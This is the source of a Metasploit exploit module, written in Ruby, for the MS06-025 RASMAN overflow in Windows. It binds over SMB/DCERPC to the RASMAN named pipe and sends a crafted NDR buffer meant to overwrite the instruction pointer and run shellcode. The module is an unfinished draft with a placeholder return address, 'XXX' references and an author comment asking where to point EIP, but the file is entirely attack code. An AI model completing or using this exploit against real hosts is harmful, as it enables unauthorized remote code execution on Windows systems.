133 lines
3.5 KiB
Ruby
133 lines
3.5 KiB
Ruby
require 'msf/core'
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module Msf
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class Exploits::Windows::Smb::MS06_025_RASMANS_REG < Msf::Exploit::Remote
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include Exploit::Remote::DCERPC
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include Exploit::Remote::SMB
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft RASMAN MS06-025',
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'Description' => %q{
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RASMAN!
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},
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'Author' => [ 'pusscat' ],
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'License' => BSD_LICENSE,
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'Version' => '$Revision: 0.1 $',
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'References' =>
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[
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[ 'OSVDB', 'XXX'],
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[ 'CVE', 'XXX'],
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[ 'MSB', 'MS06-025'],
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],
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'thread'
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},
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00", # \ / . : $ NULL
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Windows 2000 SP4', { 'Ret' => 0x41424344 } ], #
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],
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('SMBPIPE', [ true, "Rawr.", 'router']),
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], self.class)
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end
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def exploit
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connect()
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smb_login()
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print_status("Trying target #{target.name}...")
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handle = dcerpc_handle('20610036-fa22-11cf-9823-00a0c911e5df', '1.0', 'ncacn_np', ["\\#{datastore['SMBPIPE']}"])
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print_status("Binding to #{handle}")
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dcerpc_bind(handle)
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print_status("Bound to #{handle}")
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patt = "\xcc" * 886 + NDR.long(target.ret) + "AAAA" + "\xcc" * 178
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# AAAA represents unreadable handle - cannot be a valid address
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# \xcc can be anything
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# EIP -> 0x41424344
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# Not sure where to point it though... ideas?
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type2 =
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NDR.string( ("\xcc" * 1024) + "\x00" ) +
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NDR.string( (patt) + "\x00" ) +
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NDR.string( ("\xcc" * 4096) + "\x00" ) +
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NDR.long(4) +
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NDR.long(4)
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type1 =
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NDR.long(4) + # OperatorDial
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NDR.long(4) + # PreviewPhoneNumber
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NDR.long(4) + # UseLocation
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NDR.long(4) + # ShowLights
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NDR.long(4) + # ShowConnectStatus
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NDR.long(4) + # CloseOnDial
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NDR.long(4) + # AllowLogonPhonebookEdits
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NDR.long(4) + # AllowLogonLocationEdits
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NDR.long(4) + # SkipConnectComplete
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NDR.long(4) + # NewEntryWizard
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NDR.long(4) + # RedialAttempts
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NDR.long(4) + # RedialSeconds
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NDR.long(4) + # IdleHangUpSeconds
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NDR.long(4) + # RedialOnLinkFailure
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NDR.long(4) + # PopupOnTopWhenRedialing
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NDR.long(4) + # ExpandAutoDialQuery
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NDR.long(4) + # CallbackMode
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NDR.long(0x45) + type2 + # Parsed by CallbackListFromRpc
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NDR.wstring("\x00" * 129) +
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NDR.long(4) +
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NDR.wstring("\x00" * 520) +
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NDR.wstring("\x00" * 520) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.long(4) +
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NDR.string("\x00" * 514) +
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NDR.long(4) +
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NDR.long(4)
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stubdata = type1 + NDR.long(4)
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print_status('Stub is ' + stubdata.length.to_s + ' bytes long.')
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begin
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print_status('One for the money...')
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response = dcerpc.call(0xA, stubdata)
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print_status('Two for the show...')
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response = dcerpc.call(0xA, stubdata)
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print_status('Three to get ready...')
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print_status('Go shellcode, GO!')
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rescue Rex::Proto::DCERPC::Exceptions::NoResponse
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end
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handler
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disconnect
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end
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end
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end
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